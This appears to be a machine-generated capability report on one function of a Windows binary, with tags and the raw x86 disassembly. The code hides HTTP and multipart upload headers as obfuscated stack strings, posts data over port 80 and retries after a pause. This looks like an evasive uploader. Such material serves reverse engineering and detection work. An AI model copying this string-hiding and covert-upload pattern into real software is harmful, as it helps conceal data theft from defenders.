Function at 0x100148d0
Capabilities:
Contain obfuscated stackstrings
Set socket configuration

Disassembly:
sub esp, 0x194
mov eax, dword [0x1001f2b8]
xor eax, esp
mov dword [esp + 0x190], eax
mov eax, dword [esp + 0x1a0]
mov ecx, dword [esp + 0x1a4]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1a8]
push edi
xor edi, edi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x3c], eax
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x2c], edi
mov dword [esp + 0x34], edi
mov bl, 0x2d
push edi
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebp, eax
mov dword [esp + 0x10], ebp
cmp ebp, 0xffffffff
je 0x10015056
mov edx, 2
push 0x50
mov word [esp + 0x5c], dx
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esi + 0x10]
lea edx, [esp + 0x58]
mov word [esp + 0x5a], ax
mov eax, dword [esi + 8]
push edx
push eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x48], ecx
call fcn.10018040
add esp, 8
cmp eax, 0xffffffff
je 0x10015049
push 8
lea eax, [esp + 0x54]
push eax
push 0x1006
push 0xffff
push ebp
mov dword [esp + 0x68], edi
mov dword [esp + 0x64], 0x4e20
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x10
lea ecx, [esp + 0x5c]
push ecx
push ebp
call dword [0x1001fe28]
cmp eax, 0xffffffff
je 0x1001503f
push 0x800
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10016d00
mov edi, eax
test edi, edi
je 0x1001503f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea edx, [esp + 0x44]
push edx
mov dword [esp + 0x48], eax
call dword [sym.imp.NTDLL.dll_RtlRandom]
xor ecx, ecx
mov ebp, eax
lea eax, [esi + 0x20]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x30], ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x38], ecx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], eax
cmp dword [eax], ecx
jbe 0x10014c56
mov eax, dword [esp + 0x3c]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
mov byte [esp + 0x1a1], cl
push ebp
lea ecx, [esp + 0x12c]
push ecx
push edi
mov dword [esp + 0x40], edi
mov byte [esp + 0x134], bl
mov byte [esp + 0x135], bl
mov byte [esp + 0x136], bl
mov byte [esp + 0x137], bl
mov byte [esp + 0x138], bl
mov byte [esp + 0x139], bl
mov byte [esp + 0x13a], bl
mov byte [esp + 0x13b], bl
mov byte [esp + 0x13c], bl
mov byte [esp + 0x13d], bl
mov dword [esp + 0x13e], 0xd756c25
mov dword [esp + 0x142], 0x6e6f430a
mov dword [esp + 0x146], 0x746e6574
mov byte [esp + 0x14a], bl
mov dword [esp + 0x14b], 0x70736944
mov dword [esp + 0x14f], 0x7469736f
mov dword [esp + 0x153], 0x3a6e6f69
mov dword [esp + 0x157], 0x726f6620
mov byte [esp + 0x15b], 0x6d
mov byte [esp + 0x15c], bl
mov dword [esp + 0x15d], 0x61746164
mov dword [esp + 0x161], 0x616e203b
mov dword [esp + 0x165], 0x223d656d
mov dword [esp + 0x169], 0xd227325
mov dword [esp + 0x16d], 0x6e6f430a
mov dword [esp + 0x171], 0x746e6574
mov byte [esp + 0x175], bl
mov dword [esp + 0x176], 0x65707954
mov dword [esp + 0x17a], 0x6574203a
mov dword [esp + 0x17e], 0x702f7478
mov dword [esp + 0x182], 0x6e69616c
mov dword [esp + 0x186], 0x6f430a0d
mov dword [esp + 0x18a], 0x6e65746e
mov byte [esp + 0x18e], 0x74
mov byte [esp + 0x18f], bl
mov dword [esp + 0x190], 0x6e617254
mov dword [esp + 0x194], 0x72656673
mov byte [esp + 0x198], bl
mov dword [esp + 0x199], 0x6f636e45
mov dword [esp + 0x19d], 0x676e6964
mov dword [esp + 0x1a1], 0x6962203a
mov dword [esp + 0x1a5], 0x7972616e
mov dword [esp + 0x1a9], 0xa0d0a0d
call esi
push ebp
lea edx, [esp + 0x84]
mov dword [esp + 0x3c], eax
lea eax, [eax + edi + 1]
push edx
push eax
mov dword [esp + 0x54], eax
mov byte [esp + 0x8c], bl
mov byte [esp + 0x8d], bl
mov byte [esp + 0x8e], bl
mov byte [esp + 0x8f], bl
mov byte [esp + 0x90], bl
mov byte [esp + 0x91], bl
mov byte [esp + 0x92], bl
mov byte [esp + 0x93], bl
mov byte [esp + 0x94], bl
mov byte [esp + 0x95], bl
mov word [esp + 0x96], 0x6c25
mov byte [esp + 0x98], 0x75
mov byte [esp + 0x99], bl
mov byte [esp + 0x9a], bl
mov dword [esp + 0x9b], 0xa0d0a0d
mov byte [esp + 0x9f], 0
call esi
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x34]
add esp, 0x1c
jmp 0x10014c5c
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [esp + 0x20]
add ecx, dword [esp + 0x28]
cmp dword [eax], 0
mov dword [esp + 0x68], 0x54534f50
mov byte [esp + 0x6c], 0
mov dword [esp + 0x24], 0x544547
lea ebp, [ecx + edi + 2]
mov dword [esp + 0x9c], 0x25207325
mov dword [esp + 0xa0], 0x54482073
mov dword [esp + 0xa4], 0x312f5054
mov dword [esp + 0xa8], 0xa0d302e
mov dword [esp + 0xac], 0x74736f48
mov dword [esp + 0xb0], 0x7325203a
mov dword [esp + 0xb4], 0x73550a0d
mov word [esp + 0xb8], 0x7265
mov byte [esp + 0xba], bl
mov dword [esp + 0xbb], 0x6e656741
mov dword [esp + 0xbf], 0x25203a74
mov dword [esp + 0xc3], 0x410a0d73
mov dword [esp + 0xc7], 0x70656363
mov dword [esp + 0xcb], 0x2a203a74
mov dword [esp + 0xcf], 0xa0d2a2f
mov byte [esp + 0xd3], 0
lea eax, [esp + 0x68]
ja 0x10014d32
lea eax, [esp + 0x24]
mov ecx, dword [0x1001fe64]
mov edx, dword [esp + 0x48]
push ecx
mov ecx, dword [esp + 0x44]
push edx
push ecx
push eax
lea edx, [esp + 0xac]
push edx
push ebp
call esi
mov esi, eax
mov eax, dword [esp + 0x34]
mov eax, dword [eax + 0x20]
add esp, 0x18
mov dword [esp + 0xd4], 0x746e6f43
mov word [esp + 0xd8], 0x6e65
mov byte [esp + 0xda], 0x74
mov byte [esp + 0xdb], bl
mov dword [esp + 0xdc], 0x676e654c
mov dword [esp + 0xe0], 0x203a6874
mov dword [esp + 0xe4], 0xd756c25
mov dword [esp + 0xe8], 0x6e6f430a
mov dword [esp + 0xec], 0x746e6574
mov byte [esp + 0xf0], bl
mov dword [esp + 0xf1], 0x65707954
mov dword [esp + 0xf5], 0x756d203a
mov dword [esp + 0xf9], 0x7069746c
mov dword [esp + 0xfd], 0x2f747261
mov dword [esp + 0x101], 0x6d726f66
mov byte [esp + 0x105], bl
mov dword [esp + 0x106], 0x61746164
mov dword [esp + 0x10a], 0x6f62203b
mov dword [esp + 0x10e], 0x61646e75
mov word [esp + 0x112], 0x7972
mov byte [esp + 0x114], 0x3d
mov byte [esp + 0x115], bl
mov byte [esp + 0x116], bl
mov byte [esp + 0x117], bl
mov byte [esp + 0x118], bl
mov byte [esp + 0x119], bl
mov byte [esp + 0x11a], bl
mov byte [esp + 0x11b], bl
mov byte [esp + 0x11c], bl
mov dword [esp + 0x11d], 0xd756c25
mov word [esp + 0x121], 0xa
test eax, eax
je 0x10014eb0
mov ecx, dword [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x20]
mov edx, dword [ecx + 0x30]
add edx, dword [ecx + 0x28]
lea ecx, [esi + ebp]
add edx, eax
add edx, dword [esp + 0x24]
lea eax, [esp + 0xd8]
add edx, dword [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
add esi, eax
lea edx, [esp + 0x84]
push edx
lea eax, [esi + ebp]
push eax
mov dword [esp + 0x8c], 0x6e6e6f43
mov dword [esp + 0x90], 0x69746365
mov dword [esp + 0x94], 0x203a6e6f
mov dword [esp + 0x98], 0x736f6c63
mov dword [esp + 0x9c], 0xd0a0d65
mov word [esp + 0xa0], 0xa
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
add esi, eax
push ebp
push edx
mov dword [esp + 0x28], esi
call fcn.10016de0
add esp, 0x14
cmp eax, esi
jne 0x10015028
mov eax, dword [esp + 0x1c]
add eax, 0x20
cmp dword [eax], 0
mov dword [esp + 0x18], eax
je 0x10014f63
mov esi, dword [esp + 0x28]
test esi, esi
je 0x10014f63
mov ecx, dword [esp + 0x30]
lea eax, [esp + 0x14]
push eax
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x20], esi
call fcn.10016de0
add esp, 0xc
cmp eax, esi
jne 0x10015028
mov eax, dword [esp + 0x18]
mov esi, dword [eax]
mov ebp, dword [esp + 0x1c]
test esi, esi
je 0x10014fb2
push eax
mov eax, dword [ebp + 0x1c]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.10016de0
add esp, 0xc
cmp eax, esi
jne 0x10015028
mov eax, dword [esp + 0x18]
test esi, esi
je 0x10014fb2
cmp dword [ebp + 0x28], 0
lea esi, [ebp + 0x28]
je 0x10014fb2
mov edx, dword [ebp + 0x24]
push esi
push edx
lea eax, [esp + 0x18]
push eax
call fcn.10016de0
add esp, 0xc
cmp eax, dword [esi]
jne 0x10015028
mov eax, dword [esp + 0x18]
cmp dword [eax], 0
je 0x10015006
cmp dword [ebp + 0x30], 0
lea esi, [ebp + 0x30]
je 0x10014fda
mov ecx, dword [ebp + 0x2c]
push esi
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.10016de0
add esp, 0xc
cmp eax, dword [esi]
jne 0x10015028
mov eax, dword [esp + 0x18]
cmp dword [eax], 0
je 0x10015006
mov esi, dword [esp + 0x20]
test esi, esi
je 0x10015006
mov ecx, dword [esp + 0x38]
lea eax, [esp + 0x14]
push eax
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x20], esi
call fcn.10016de0
add esp, 0xc
cmp eax, esi
jne 0x10015028
mov eax, dword [esp + 0x4c]
push eax
add ebp, 0x34
lea ecx, [esp + 0x14]
push ebp
push ecx
call fcn.1000f9b0
add esp, 0xc
mov dword [esp + 0x2c], eax
mov dword [esp + 0x34], 1
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10015150
mov ebp, dword [esp + 0x10]
mov esi, dword [esp + 0x1c]
xor edi, edi
push edi
push ebp
call dword [sym.imp.WS2_32.dll_shutdown]
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [esp + 0x34], edi
jne 0x1001506f
cmp dword [esp + 0x1a8], edi
je 0x1001506f
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10014915
mov ecx, dword [esp + 0x1a0]
mov eax, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10008464
add esp, 0x194
ret